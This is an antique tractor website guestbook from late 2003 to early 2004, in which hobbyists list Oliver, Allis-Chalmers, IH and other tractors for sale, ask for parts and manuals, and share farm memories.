WILL STREET wrote on Friday, February 27, 2004 (PST): HAVE A NICE 220 BAREBACK TO BE SOLD IN IL.MARCH 20,O4 AT THE RIECHMANN BROS.SALE IN OKAWVILLE.ALSO HAVE A SECOND 22O 3PT. FOR SALE IN FAIRHOPE,AL. BOTH TRACTORS ARE IN VERY NICE SHAPE FOR THEIR AGE.1-251-454-0139.
WILL STREET wrote on Friday, February 27, 2004 (PST): HAVE A NICE 220 BAREBACK TO BE SOLD IN IL.MARCH 20,O4 AT THE RIECHMANN BROS.SALE IN OKAWVILLE.ALSO HAVE A SECOND 22O 3PT. FOR SALE IN FAIRHOPE,AL. BOTH TRACTORS ARE IN VERY NICE SHAPE FOR THEIR AGE.1-251-454-0139.
WILL STREET wrote on Friday, February 27, 2004 (PST): I HAVE A D21 SERIES III. FOR SALE IT IS SHED KEEP AND IN VERY GOOD ORIGINAL CONDITION 2,O25 ORIGINAL HRS. 3PT.BIG NEW RUBBER ALL THE WAY AROUND,CLEANEST ONE TO BE FOUND ANY WHERE,$15,000 Fairhope,AL.
JAMES RUSSELL wrote on Thursday, February 26, 2004 (PST):HELLO, i work in a tractor shop, i own a '55 super 55 dsl.anyone need parts or help with one of these great machines drop me a line. i have access to three parts tractors,one dsl, two gas plus many assorted parts on shelf ready to be sold. proud of my oliver
Scott Budd wrote on Thursday, February 26, 2004 (PST):My Uncle has a 770 just like that, but it looks like crap.
Bob Gabeline wrote on Wednesday, February 25, 2004 (PST):I am looking for a MF 98 steering sector box.
scott taylor wrote on Tuesday, February 24, 2004 (PST):would like to purchase a john deere L in the southeast MO region if u have any info please email me with location and price
Micah taylor wrote on Tuesday, February 24, 2004 (PST):We had an M5 on our farm. Make sure that u keep the gear shifter tight. Bad things happen otherwise.
David wrote on Sunday, February 22, 2004 (PST):i am looking to sell my 1963 oliver 550 special gas tractor and it is in original condition since new and trying to figure out what it is worth to sell in canadian dollors
Joe Wolfort wrote on Sunday, February 22, 2004 (PST):I'm trying to locate an Oliver OC3 Dozer,or Loader That's for sale And in decent condition. If anyone out there has one for sale at a reasonable price please E-Mail me,or call 305 745 9821. Thanks Joe
Brad B wrote on Saturday, February 21, 2004 (PST):Have Two-Twenty 23.5-32 80%, new brakes, fenders need work.Less than 150 hrs. on complete eng. overhaul.Any offers?
Zach Cotton wrote on Thursday, February 19, 2004 (PST):My Gandaddy had a 770 he had to sell it to buy a bigger tractor a 1850 he sold the 770 to Big 3 a New Hollad Dealer ship in Boomfeld Ky, the 770 had a colse font end on it if anybody knows who has it or has it please white back thanks
Zach Cotton wrote on Thursday, February 19, 2004 (PST):Is this tractor a Harr-parr they were the tractors before oliver
Joe Heider wrote on Wednesday, February 18, 2004 (PST):Back in 1914 Rock island sold tractors built by the Heider Manufacturing Co. and there were 4 models A, B, C, & D these tractors were built until 1929 bearing the Heider name. I am looking for a modle C 12-20, Thanks
Chad Sanders wrote on Tuesday, February 17, 2004 (PST):here is my email address
Chad Sanders wrote on Tuesday, February 17, 2004 (PST):Looking for a O-12 or Fairway-12 in need of work. Are willing to travel to find or pickup these tractors.
Des Swain wrote on Monday, February 16, 2004 (PST):Looking for a starter to fit minny-moline ub gas tractor with small starter drive.If anyone knows where to get this type of sarter please let me know. Thanks Des
Russell Polk wrote on Saturday, February 14, 2004 (PST):All these writings and photos bring back memorable times. My uncle worked at the Cockshutt plant in Smith's Falls for many years and on my birthday he would give me a model tractor(metal)of that model year. That was so many years ago. Thanks for sharing the beautiful photos.
Don Kratzer wrote on Saturday, February 14, 2004 (PST):I have a Pony that I would like to sell.It is in very orginal condition and the engine has had the valves ground and new rings.Asking $1800.I also have a MH disc; left and right plows and cultivators.located near Escondido,Ca
Eli Gingerich wrote on Friday, February 13, 2004 (PST):Hello, Mark, I would have interest in buying your 550. Get me the price and where I can see it.
RON DEPATIE wrote on Friday, February 13, 2004 (PST):i have a friend who would like to sell a 55 massey harris, its restored (real nice) his name is glenn bidwell feel free to call him at 705-721-7966 Barrie Ont Canada
Bobby Campbell wrote on Friday, February 13, 2004 (PST):JD 60 & 620 Orchard (Grove) after market fenders and covers are available. Contact above for price and location. BC
Jeanette wrote on Wednesday, February 11, 2004 (PST):I own a 1960 770. I pull it at Fairs in Maine. I have been State Champion in the 6000 lb. Class for the last two years. I am looking for a power booster drive for my tractor. E-Mail me at a_jeanette at hotmail.com
Wayne wrote on Wednesday, February 11, 2004 (PST):I have a cub which has been been in the family for 50 years. It is used to garden every year. I have lost a drive gear for the fertilizer and planter assembley. I have not been able to locate a replacement and need help finding one. It is a 4 inch chain link drive gear with a 3/4 inch shaft. Any help would be great.
Kelly wrote on Tuesday, February 10, 2004 (PST):I have a 1963 cockshutt 770 wide front end, powersteering, Red and White with cockshutt emblems. I was wondering how many of these oliver 770's which were shipped to Brantford Ontario painted these colors plus emblems-How many are there or where could i find out how many shipped there.
bob wrote on Monday, February 09, 2004 (PST):The g-1000 is a good tractor, they had it going good untikl they tryed to stop this massive load
John Bezemek wrote on Saturday, February 07, 2004 (PST):would like to find a D-21 like the one in the picture. A later model. thanks John
David wrote on Monday, February 02, 2004 (PST):I have two Allis-Chalmers Model K tractors with steering wheels, one wide track, one narrow track, complete but not running, manuals for one, belonged to my father. What are the values of these tractors, am interested in selling.
Bob wrote on Saturday, January 31, 2004 (PST):Spent days on the back of one of these, making hay, cleaning the barn, hauling wagons, cultivating corn. Wore out 3rd gear and almost wore out 2nd before it was sold.
A. Jason Leedy wrote on Saturday, January 31, 2004 (PST):I love old John Deeres! My dad has a couple, including a restored 830. It has 28L26 tires on the back,it's awesome. One of my most memorable moments as a young kid involves an "R". A farmer that we knew brought his restored R to a local antique pull. There were no other tractors in his class that night so they let him pull last,just for fun. And fun it was! They could not stop that thing. After his first full pull they loaded everything they had on that boat and away he went. With the front end getting light and a heavy wrinkle in the rear tires my dad and I, along with about 12 or so other people, jumped on the boat to try and stop the green beast. We failed. As we stood there on the front of that boat we noticed that the big steel cable, hooked to the R, was actually coming apart. The track offical had to stop him at that point. If tractors could talk I don't think that R would say anything, but I bet she'd have a big ol' grin!!!
James Phillips wrote on Wednesday, January 28, 2004 (PST):My family has a d14 d15 series 2 the d 14 has pulled 3 14's in 3rd gear hi range all its life till the 70's when my dad went to 100 horse tractors. My grampa bought both tractors new I have the d15 and my brother has the d14. we even have sales slips from Mitchels in Libertycenter Oh.
H C Bindel wrote on Tuesday, January 27, 2004 (PST):What is a M5 Tricycle cost that has a hi/low problem?
Jim Sandridge wrote on Tuesday, January 27, 2004 (PST): Looking for a WD-45 Gas with tricycle type front end. Complete and repairable.We had one when I was a teen-ager. I would race it when the boss wasn't around. I would tie a string to the governer arm and pull it when I wanted high speed. I had a friend who could get ethyl alchol from his uncle's drug store. I mixed a quart of alky' with 2 quarts of gasoline. Had the muffler burnt out with our acetylene torch. Gutted.I could outrun all the local tractors except my buddy's Oliver 88" Diesel.His uncle's tractor. He made a injector to run kerosene into the intake.He would pull a string to let the kero in. we had 8-N'S ,77's M'S, H's, Some kind of M-M. We would run down this steep hill at night,wide open then let off the throttles. The WD 45 and the 88' diesel would shoot fire five feet in the air. The engines had to suffer,but in the late 40's kid's didn't think about it.The 88 diesel engine did a runaway one night. We were working on the homemade injector and dumped in 10 wt oil and kerosene mix. Way too much went in and the engine screamed for several minutes. We ran, thought the engine would blow.There is no shut down with all that in the intake. I'm 68 years old now and I wised up a little. Jim
Vernon wrote on Monday, January 26, 2004 (PST):Im looking for a manifold for a D-12 can anybody help me.
K D HESS wrote on Monday, January 26, 2004 (PST):I OWN AND OPERATE ABOUT 1500 ACERS IN WV I HAVE A 180 185& A 200 I WOULD LIKE TO SOMEDAY OWN A 210& 220 I AM VERY HAPPY WITH A.C TRACTORS I WISH THEY STILL MADE THEM, IF ANYONE HAS A 220 FOR SALE I WOULD CONSIDER BUYING ONE I WOULD TAKE CARE OF IT AND MAKE IT LOOK LIKE NEW
Steve Eggers wrote on Friday, January 23, 2004 (PST):Need some info on a oliver 1600, dcoes any one have some thought, can't seem to find a picture of one
Ron wrote on Friday, January 23, 2004 (PST):I own a 1953 Fordson Major with gas engine.Can't find any information on engine size or where to get parts. Am told it is an English only model. I need an overhaul gasket set and probably bearings. I have been told that the deisel and gas engines use the same block and bottomend. Is this correct. Any help would be greatly appreciated.
sawport wrote on Tuesday, January 20, 2004 (PST):Looking for D-21 for sale
Gary the Red wrote on Tuesday, January 20, 2004 (PST):I haven't farmed for about 10yrs. now but always had RED tractors. C, 340, 706, H, SUPER A, 434, AND will always be a RED GUY!! would like to buy and restore a 1066. Don't have any use for it but once you own Red the rest are DEAD. I am just a collector now and love my FARMALLS AND IH. THANKS AND GOD BLESS THE REST!!
GARY VAN SCYOC wrote on Tuesday, January 20, 2004 (PST):I BOUGHT A F-12 LAST YEAR AND HAVE GOT THE MAGNETO CHARGED AND CHECKED OUT. I STILL HAVEN'T GOTTEN IT RUNNING, I HAVE FIRE BUT NO GO . I SUSPECT THE MANIFOLD IS FAULTY AND POSSIBLY THE CARB. ALSO. ANY OF YOU OLDER FELLAS HAVE ANY ADVICE?
Daniel Eeten wrote on Tuesday, January 20, 2004 (PST):I'm looking for a wide front for my 770, anybody have one in the shed?
MARK RILEY wrote on Sunday, January 18, 2004 (PST):I HAVE A OLIVER 55O THAT I WOULD SELL IT IS A 62 MODEL I BELIVE AND DIESEL NO POWER STEARING RUNS LIKE A TOP AND ALL THE GEARS WORK, CLUTCH WORKS, LIFT WORKS, NEEDS PAINT AND MUFFLER TIRES ARE OK BUT LOTS OF DRY ROTT ON ONE BACK, NEEDS FRONT GRILL ALSO AND A NEW SEAT
Andy from Ohio wrote on Friday, January 16, 2004 (PST): I have an 8n with a flat head6 conversion I use it everyday on the farm. I have one problem that is the radiator is starting to leak. The local rad. shop says it is to bad of shape to fix, and no one around here knows where to get one. If you could help me I would appreciate it. Thank you
Mike Case wrote on Thursday, January 15, 2004 (PST):where is a good place to get decals for my cockshutt 30 and how about help in aquiring the right paint..still dont know the year model but the tractor has 4 spoke (large) steering wheel and also foot and hand clutch...8 point rear rims. .got her running but she needs dinging to get it good....also has a blue leon all hydralic loader that looks very good and works good...may sell in the spring the way it is--if interested I can send you a picture......thanks Mike
ac wrote on Tuesday, January 13, 2004 (PST):makes a real good pulling tractor
Rev.Larry Severson wrote on Sunday, January 11, 2004 (PST):My father owned international & farmall tractors when he farmed in southwestern minnesota. In 2002 I purchased a 1950 W-4 McCormick & restored it. Have run it is local parades.
Harvey Kuntz wrote on Sunday, January 11, 2004 (PST):Looking for a grill for AVERY. Many Avery parts were interchangable with Oliver OC3 crawler, eg. Hercules engine, pto etc.
Ted Sterling wrote on Thursday, January 08, 2004 (PST):I have 2 AC G's for sale good condition. two row plate planter, cultivator, sicle bar mower and PTO. Located in Iowa. Call 515-232-1930. Ask for Ted or Peggy.
Russ Bingham wrote on Wednesday, January 07, 2004 (PST):I would like to buy a JD Model H. Consider all and will travel to most locations to pick up. I am a serious, retired individual and would like the tractor for parades, shows, fairs, etc. talk to me. Thanks Russ
donnnie quillen wrote on Tuesday, January 06, 2004 (PST):I AM LOKING FOR A SIMMS INJECTOR PUMP FOR FORD SUPER DEXTA 1964 1965
Luther wrote on Sunday, January 04, 2004 (PST):I have a 1963 Oliver 1800 (gas) with only 2500 hours on it. Gauges & lights work. Sheet metal good, runs sweet, no smoke. It has an end loader that looks brand new. I pull a 7 ft. Woods shredder that wades right through the giant foxtail on CRP acres, & still narrow enough to trim around trees. The prairie is now established, and I need to sell the whole outfit. Any interest out there? Central IL farm boy with one too many toys.
Jim wrote on Sunday, January 04, 2004 (PST):I have a 856 Gas tractor and was wondering if anyone could tell me how many horse-power it is suppose to have? Thank-You
Daren Rinderknecht wrote on Saturday, January 03, 2004 (PST):I am looking to buy a specific Case 830, it has the old square fenders, narrow front, and diesel, if anyone knows about where i could find one let me know. Thanks
Landon Paulson wrote on Friday, January 02, 2004 (PST):hey there thankyou very much Henry, i appretiate it, now if you could help me out just 1 last time, could u tell me what part of the cerial number tells me the year and if u could also tell me some of the serial numbers that u know of if u know the year to go with them so i could see if i have a match so i can be sure of the year, thanks bye
David Matz wrote on Thursday, January 01, 2004 (PST):My Grandpa had an 880 propane in the late 60's my dad said it was there best tractor, If anyone out there know's where one is please e-mail me. or i would really appreciate a nice picture of an 880 e-mailed. thank you.
G R Cooper wrote on Thursday, January 01, 2004 (PST):looking for A d12 SERIII to buy in So. IN want a tractor in very good cond mech and appearance wise no junk 812-873-6403
Brenda Fanning wrote on Tuesday, December 30, 2003 (PST):I need any imformation on the HD5 crawler tractor. It is a 2 cylinder General motors diesel.I need a parts manual.
Robert Boyum wrote on Tuesday, December 30, 2003 (PST):My Dad had a 10-18 case in 1940. It looked about the same as the one pictured. I would like information about locating one.
Randy wrote on Monday, December 29, 2003 (PST):I have a 1955 AC HD 14C dozer and I am looking for a cable control.
Henry Hahn wrote on Monday, December 29, 2003 (PST):S/N and model number are steel stamped close to the bottom of dash below gages
Landon Paulson wrote on Monday, December 29, 2003 (PST):hey if any of u out there can tell me where cerial numbers on the leaders are, please do so so i can be sure of its year. please forward info to lpaulson7000 at hotmail.com
Lindsay Waite wrote on Sunday, December 28, 2003 (PST):We have a 28-44 serial #508245. As far as I can find out it is a 1938 model. It was left to my grandfather by a family friend and both have passed on. On this web site it is listed as an Oliver Hart Parr. However, ours has a large Cockshutt cast into the rad with a smaller Hart Parr underneath it. The tag on the side of the engine block calls it an Oliver. Is this right or has the rad come off a newer model?
Rollie Morris wrote on Friday, December 26, 2003 (PST):I have a 1963 GVI for sale, in excellent condition. It has new tires all the way around, new paint (some powder-coated). It is diesel, runs pretty good; full-time four wheel drive. Pictures on request. Asking $7,200. Tractor located in Yamhill, Oregon. Thanks for your interest, Rollie Morris (503) 662-3358
Pat Cook wrote on Friday, December 26, 2003 (PST):I don't really know what I have. I know I have an old Oliver tractor with the #60 underneath the front grill, I'm pretty sure it is a late 40s/50s model. It is a 4 cylinder, with four wheels. It ran well about 5 years ago, but was in the process of being worked on when the mechanic took ill, now it is partially disassembled, missing the seat and starter. And it appears that the clutch plate has been removed... I'm trying to decide if I should try to have it restored or sell it... Any thoughts or comments as to it's value would be greatly appreciated... thanks pat
Blane wrote on Wednesday, December 24, 2003 (PST):I have a very early 720 diesel that I use for anything that I can and I just bought another 720 diesel that is really late model and it has the fast transmission unlike the other tractor. There is some pictures in the october issue of Green magazine under "720 keeps busy". Right now I am buying cows and hope to buy or rent a farm in the near future.
Dale Robertson wrote on Tuesday, December 23, 2003 (PST):In response to Ken Youngs, I believe this is a KT-A. FT-A's/ 21-32's, were the next size up.
William wrote on Sunday, December 21, 2003 (PST):we've had a black stripe 1066 for 27 years it used to drink alot of fuel so we took it to the shop and had them dyno it, it showed that it had 285 hp and we was never hurt for power the reason it had so many hp's is because the injector pump screwed up we've busted two cast centers out of the back wheels chisling then we had them turn it back to 165 hp we still have plenty of power
mike heckler wrote on Saturday, December 20, 2003 (PST):i am looking for the original paint numbers for my 1958 oliver 550.
lonnie wrote on Saturday, December 20, 2003 (PST):I would like to buy one that runs
Ron Haddock wrote on Thursday, December 18, 2003 (PST):There was a kit available from the Ford Motor Company and a group that called their product "The Thiesen Tractor" My great Uncle had one in his barn for years. It had the Model T engine and drive train, but there were chain sprocket for the drive wheel hubs with chain drives to oversized tractor wheels below. I don't recall much about the frame or steering except that it resembled an F-20 and, of course, was all steel. Somebody bought it out of the shed probably 25 years ago, but I don't have any idea who it was.
Louis Zemek wrote on Thursday, December 18, 2003 (PST):I would like some info on purchasing an Allis D-21. I live in Mississippi. Anyone with info please e-mail me at lrzemek5252 at hotmail.com. Thanks!!
CHARLIE HAIER wrote on Wednesday, December 17, 2003 (PST):I HAVE A MF 98 THAT I AM RESTORING AND I NEED TO KNOW WHAT WERE THE ORIGINAL GAUGES AND IF THEY ARE SPECIAL, WHERE CAN I FIND THEM?
max mc wrote on Tuesday, December 16, 2003 (PST):IH rules we have a 1066 and 1486 up here in canada their the only ones that well start in the winter time
Henry Hahn wrote on Monday, December 15, 2003 (PST):Gerald Send me your land mailing address to Leader tractor club Henry Hahn ,7606 HWY. J ,Perryville MO.63775 I will send you a copy of parts book. we have the club up and running with over 100 members dues are only $10.00 a year henry
jeff wrote on Monday, December 15, 2003 (PST):Do not wory IH will always be the best and eany one ho says difrent is a dam lier!
Harvey Kuntz wrote on Sunday, December 14, 2003 (PST):Would like to purchase a track machine (used to rebuild tracks). Am in Ontario, Canada about 2 hrs from Buffalo, 3 hours from Detroit. Advise location, condition and price.
Tim Azure wrote on Thursday, December 11, 2003 (PST):I have a tractor very similar to this one, almost a twinn. Who can tell me more about it. I have a model number, I think it is an 18 32? The serial number is at my office. I will send it in tomorror. Please help, it is in prestine (original) condition.
jason wrote on Thursday, December 11, 2003 (PST):Everything requires maintainance, some just alot more than others
jason wrote on Thursday, December 11, 2003 (PST):Everything requires maintainance, some just alot more than others
IH Cowboy Inc. wrote on Thursday, December 11, 2003 (PST):Just remember that all engines require some maintainance from time to time. Even JD's hhave sleeve O-ring trouble.
Mark wrote on Thursday, December 11, 2003 (PST):What horsepower is a diesel Super Dexta? I recently purchased one and am very pleased with it.
dick doriguzzi wrote on Wednesday, December 10, 2003 (PST): Was the 770 ever built with power steering ? If yes, is it possible to add to an existing wide front ?
Duane Hagen wrote on Wednesday, December 10, 2003 (PST):I have a couple of SD3's and need repair or parts manuel for engine. Will be having spare parts or tractor.
Gerald Montgomery wrote on Monday, December 08, 2003 (PST):I am trying to locate a service manual for 1947 or 1948 service manual. I am having trouble removing the left rear axle to replace oil seal. Any help will be greatly received.
power sift my ass BULL GEARS wrote on Sunday, December 07, 2003 (PST):I HAVE RAN MANY RED AND YET GREEN. NEVER DID LIKE D OR C JD GEARS. I AM TELLING YOU BULL GEARS YOU COULD PICK 1,2,3,AND4 PLUS HIGH AND LOW AND SILL TA BACK OR FOR WORD. REMMBER BULL GEARS SOILID STABEL. REMMBER YOU DIDINT RUN OUT OF POWER WHEN PULLING. BULL GEARS.
1466 4-wd motor and passing cars wrote on Sunday, December 07, 2003 (PST):my 1466 has a 4366 motor. i put a ih truck fuil pump on it. well it is also my bailing tractor. eventhuoh it is open cab. when i turn the valve it will put out over 250 hp. i had to go through town and the road is 4 lane i thought it would be fun to pass cars and trucks. i truned the valve and the speed is 35 i got her going about 45 and was passing people. the news paper took my pitcher and the head line said tractor passing cars go figar. i pull her and usually get 1 or 2 place. but the green boys still can't bet ih power. go rd power.
rickp wrote on Sunday, December 07, 2003 (PST):I have a crankshaft for a 1950 T I would sell what is it worth.
Carl wrote on Saturday, December 06, 2003 (PST):I work as a mechanic and it seems to me the IH boys do not remember about the -o- ring on the sleeves that go bad .Or the PTO engagement that breaks,just a little pin that needs replaceing. Can you IH guys spell?
Larry Laubach wrote on Saturday, December 06, 2003 (PST):email address for above ad is draw at 3rivers.net.
Larry Laubach wrote on Saturday, December 06, 2003 (PST):I have a 99 (1951)with PTO in good running order and a 1936 28-44 with a frozen engine. The 28-44 was the tractor I ran as a child and it would put other tractors to shame. Would like to sell both as a package.
rbunn wrote on Friday, December 05, 2003 (PST):i have a super 44 that i inherated from my grandfather.it runs like a top. it has a gen. and will not keep the battery charged. what can be done?
Mike Case wrote on Friday, December 05, 2003 (PST):I just bought a cockshutt 30 and was wondering if the serial # for the tractor was on the engine block or do I look elsewhere....there are 3 different stamped numbers on a tag affixed to the engine.
dennis l shaffer wrote on Wednesday, December 03, 2003 (PST):just bought some land that came with 2 what i belive are f 20s one has a mounted picker and looks to be intact any ideas of what they are worth locatedin eastern iowa
Devin BRand wrote on Wednesday, December 03, 2003 (PST):I need a grill for a 1961 D-12. I have owned it since 86' and it just does not look right without it. Thanks
joshua wrote on Sunday, November 30, 2003 (PST):I have a 1965 series 2 d-12. I need a grill for it Thanks will pay cash.
James Alexander wrote on Sunday, November 30, 2003 (PST):Can anyone help with s/n identification on Oliver 550D s/n 75905-519? Allegedly a '59 but not sure. Also, is there a source for original paint matching?
Todd McLavy wrote on Saturday, November 29, 2003 (PST):Hi, I got an old oliver 55 super from my grandfather and am in the process of restoring it with my father in law and we are going to have to build a make shift grill for it unless we can find a grill at a resonable price. If anyone has one that wants to sell it resonable please let me know, or if they know where I can get one also let me know. Thanks a new fellow oliver lover.
josh wrote on Saturday, November 29, 2003 (PST):wonted a d-12 grill or d-10
Todd McLavy wrote on Saturday, November 29, 2003 (PST):Hi, I got an old oliver 55 super from my grandfather and am in the process of restoring it with my father in law and we are going to have to build a make shift grill for it unless we can find a grill at a resonable price. If anyone has one that wants to sell it resonable please let me know, or if they know where I can get one also let me know. Thanks a new fellow oliver lover.
Randall Penner wrote on Thursday, November 27, 2003 (PST):I'm would like to buy a G1000 or similar in good condition. If someone has one for sale in Alberta or Saskatchewan.
Pam wrote on Thursday, November 27, 2003 (PST):I absolulely love Farmalls. I live in a condo so there's little hope in the future of owning my own, but I'd love to start "apprentice-shipping" with someone locally. I live in Danbury, CT. Any thoughts on how to connect with someone restoring one? Whenever I WILL be able to get one, I'm pretty sure it will need restoration and I'm not sure of any other way to get this knowledge. All thoughts/ideas are appreciated.
John Bezemek wrote on Tuesday, November 25, 2003 (PST):would like to purchase a model 50 in running and restored condition.
ray hartford wrote on Tuesday, November 25, 2003 (PST):have a 51 oc3 does anyone know if this machine came from oliver painted green or yellow?
Dave Lacey wrote on Tuesday, November 25, 2003 (PST):my dad bought a Cockshutt 40 last week but the engine is knocking it is a 6 cylinder Buda gas, any used engines around? he also needs both grille halves.
Dave Lacey wrote on Tuesday, November 25, 2003 (PST):my dad bought a Cockshutt 40 last week but the engine is knocking it is a 6 cylinder Buda gas, any used engines around? he also needs both grille halves.
Steve Luther wrote on Sunday, November 23, 2003 (PST):those of you in need of parts might want to contact Pate Tractor in Baraboo, WI. The number there is 608-356-8005. Sam Pate owns the business and knows these tractors inside and out.
Vernon Ostby wrote on Saturday, November 22, 2003 (PST):Would like an owners manual for a 1955 555 Massey Harris tractor. Please e-mail me if you have one or any information as to where I could get one. An original manual would be preferable. Thanks.
Brain wrote on Saturday, November 22, 2003 (PST):I am ooking for inforamtion on a International tractor, model W4, wiring for electrical system?
Brain wrote on Saturday, November 22, 2003 (PST):I am ooking for inforamtion on a International tractor, model W4, wiring for electrical system?
John Hayse - Hayse Bros. Ranches wrote on Wednesday, November 19, 2003 (PST):We have a 1931 T-20 and we are 2nd owner of this tractor. Ours has always been inside, low hours on engine & runs good. We also have hydraulics, chain driven pump mounted above p.t.o. -- Ours spent most of its life working local vineyards, but we only use a few hours a year. We are I.H.C. crawler people. Use TD-6, TD-9, TD-9B, TD-14, TD-15 and 3 TD-18' Lighter & faster than Caterpillar!
Doug Huntsman wrote on Wednesday, November 19, 2003 (PST):Hi, I have an Oliver super 55 and have had some problems with the power steering assist unit. I need to find some parts for it. The main part I need is a bearing race from my Oliver parts catalog part number 100848A. There are two races but only one is broken. This tractor runs great and has a loader and some implements. I will probably sell it when I get the steering fixed. If you know where I can get some parts, please e-mail me. thanks Doug Huntsman, Spanish Fork, Utah
mike forgnone wrote on Monday, November 17, 2003 (PST):looking for a baker blade and/or a winch to fit a wm allis crawler. e-mail us with your list of parts for a m or wm allis crawler. we have restore 2 and have quite a supply of parts left over that we are willing to get rid of
Paul J. Diemer wrote on Monday, November 17, 2003 (PST):My Father and my uncle bought a a new Oliver 70 Rowcrop in 1947. I was 14 years old at the time. On Sunday afternoons it was my transporrtaion to the Elementary school baseball diamond where all the farm kids gathered to practice for the local baseball team. This was in Lenox toenship, Ashtabula county Ohio. The tractor spent many years tilling the soil and hauling in the grain and running our threshing machine on our 189 acre dairy farm.
Shade wrote on Monday, November 17, 2003 (PST):hi! My father bought one used in 1968 it has ben on the farm since and it runs like clock work! I think it`s a 1952 model -Emil from Norway
RAYMOND OLSON wrote on Sunday, November 16, 2003 (PST):nice tractor i live in a small town and i know some one thath has 3 co-ops and i think thay where made by farmers union tractor co
Michael Monak wrote on Saturday, November 15, 2003 (PST):I have a Super 55 diesel with a front end loader. I need a front bucket for it. The tractor came with a bale spear and homemade bucket. The homemade bucket is worthless so I am looking for a original bucket.
Jim Nickeson wrote on Friday, November 14, 2003 (PST):I am looking for a Super A that is restored or in excellent condition to be restored. A location in the upper midwest would be great.
Todd wrote on Wednesday, November 12, 2003 (PST):What is a fair price for an all original 1568 International with a cab and duals and 3400 hrs.
Dan Walser wrote on Tuesday, November 11, 2003 (PST):Hi this is Dan looking for a 55 gas for sale reasonably priced in midwest thanks Dan
Dan Walser wrote on Tuesday, November 11, 2003 (PST):Hi this is Dan looking for a 55 gas for sale reasonably priced in midwest thanks Dan
Russ; wrote on Tuesday, November 11, 2003 (PST):G1000 Wheatland produces two things well. An exhaust stack bravado howl and about 110.8 hp at the PTO. It would look equally good going thru any states capital not to mention rearranging the traffic if necessary. Put me on that long list of "I want it too" customers.
Rodney Giese wrote on Monday, November 10, 2003 (PST):Would Like to find short block for 40 ford N9.Live in wis
Ralph Moore wrote on Monday, November 10, 2003 (PST):I have a ferguson tractor TO-30 with a cracked block numbered Z129. I have found a good block with number Z134 marked on side. Is this block a replacement for my old Z129 block? Thanks, R. Moore
Fred Keith wrote on Monday, November 10, 2003 (PST):My dad had a couple of MD's when I was growing up on the farm. They were nice running tractors and I prefer to run them over the ones. Started excellent in warm weather. In cold weather it was best keep them heated or not use them. I don't remember starting good below 50 degrees. Cold weather use tend to give them a lot more head gasket problems. In cold weather we usally pulled started them to help save starters and batteries. I think most of the hours we put on them was running the sawmill we had on the farm. They seem to run all day on 5 gal. on the mill and take 3 gal. per hour in the field. When my dad had the injection pumps rebuilt, put on a dyno and adjusted, the max hp was that could be acheived was 46. He had them set back to 44 to keep them from being over fueled. The engines were 4" bore and in excellent shape. Standard bore for these tractor was 3 7/8". My bought the first in 1957 used and rebuilt it twice before he sold it at auction in 1995. The second one he bought in 1966 and rebuilt it once and sold it in the auction also. They are both still running and I still see them ocationally. We both still both each own a gasoline model M and a model A.
ray hartford wrote on Sunday, November 09, 2003 (PST):just bought a 51'oc3 need exauhst manifold.suffield connecticut
steven wrote on Saturday, November 08, 2003 (PST):in need of ko engine parts fuel pump assy drive shaft and gears and cam gear 1936 ko ser #6040 i understand a k has the same gears but not the shaft thanks
Cecil wrote on Thursday, November 06, 2003 (PST):There is an oil pull Rumley on display in the town of Miles, Texas which is in SW Central Texas. It is at the entrance to the town and fronts on US Hwy 67N. I think it belongs to a family named Schwertner, but am not sure. The local tractor/trader type in Miles is Wendell Arrington and I am sure he could tell a person anything they might want to know about the tractor if they would call him or write him at PO Box, Miles, Tx 76861.
Fred Michles wrote on Thursday, November 06, 2003 (PST):PLEAS CONTACT ME At my email address. Seeking oarts fir Rumlay 6 we are restoring.l There was a listing March 2003 stating Advanced Rumley 6 in restorable condition. Where is this located and price. Please contact me soon. Thank You Fred
fredmichels wrote on Thursday, November 06, 2003 (PST):please contact me about a March 23,2003 Advanced Rumvley 6 that was for sale. Neew to know if available, mostly; looking for parts. Where is this runley 6 located? The
Patrick wrote on Thursday, November 06, 2003 (PST):I am restoring a AC "WM" Crawler wide track. It has the same motor as the "M" crawler or "U" tractor. I need a piston, ring set, 2 exhaust valves, engine gaskets, manifold gaskets, spark plugs and varius other parts including decals. Can anyone help me? The crawler is a "WM", Ser. 4622. Iam told it is 1937 vintage.
c.edwins wrote on Wednesday, November 05, 2003 (PST):robert kramer,the number you posted is the cylinder block number,,look above this to find the cast date,, example.....8.26.R Q=1947 R=1948 S=1949 T=1950 1951 USED U ANDW X=1952 Y=1953 Z= 1954 A=1955 B=1956 C=1957 D=1958 E=1959 F=1960 AND SO ON.....REMEMBER THAT THIS IS THE CAST DATE AND NOT NECESSARILY THE YEAR MODEL.
Jimbob wrote on Tuesday, November 04, 2003 (PST):My old Dad used to own one of these tractors. In the depression he sold it for a banana and a loaf of bread.I found it not longago and bought it.
Joe Klaudi wrote on Monday, November 03, 2003 (PST):I have an old Oliver Super 55 that sat idle for years and I was just reciently able to get the gear box repaired. I replaced most of the bearings and seals and am in the process of repairing a crack (freeze damage) in the hydraulic resevior. I have always wanted a Ford 8 or 9 N but settled for this old boy and now I am glad I did. Anyone looking for parts should try Tom at Farmersville Equiptment in Ephrata Pa, 1-717-354-2150. He has the largest selection of Oliver parts new & used that I have found. Good luck...
Harry L.Dill wrote on Monday, November 03, 2003 (PST):I have a used mck-4002eng# sales#46-423 r.h.sheppard SD3 tractor starting motor I also have 60+coppyed instructions and parts list for1,2&3cylinder engines
royhamilton wrote on Sunday, November 02, 2003 (PST):live in Ontario, Canada. have an sc in the shed that was my grandfathers. want to restore it but am unaware of where to get parts, mainly an engine block and gaskets. if anyone has any suggestions send e-mail.
Don Etnier wrote on Saturday, November 01, 2003 (PST):Have MM UT100D/UT200D that I need to restore. Would like any info you have on year of tractor and anyone that rebuilds/restores carburetors, generators, starters, etc. Thanks!
Craig Whitfield wrote on Friday, October 31, 2003 (PST):you
Roger Ritchison wrote on Friday, October 31, 2003 (PST):In 1970, my dad purchased a 1951 Minnie-Mo ZA to plant and cultivate with. This was the first tractor I learned to drive. Once, it broke the cooling fan bracket and let the fan gouge into the radiator,which was repairable, but left a large scar in the radiator. He sold it in 1976 to a neighbor, and it bounced around the neighborhood for a few years before disappearing. Then, last winter, my dad and I were taking a drive about 40 miles from home, when we saw a beautifully restored ZA for sale on a used equipment dealers lot. We stopped for a look. My dad, half jokingly, said,"I wonder if this is my old Minnie. We looked at the radiator, and sure enough, there was the same scar from so long ago. Needless to say ,Old Minnie came back home to us, and sets proudly in our barn, but a little prettier than she used to be.
Jon wrote on Friday, October 31, 2003 (PST):56 IH 300, I need a 3 point hitch conversion kit. Any reccomendations?
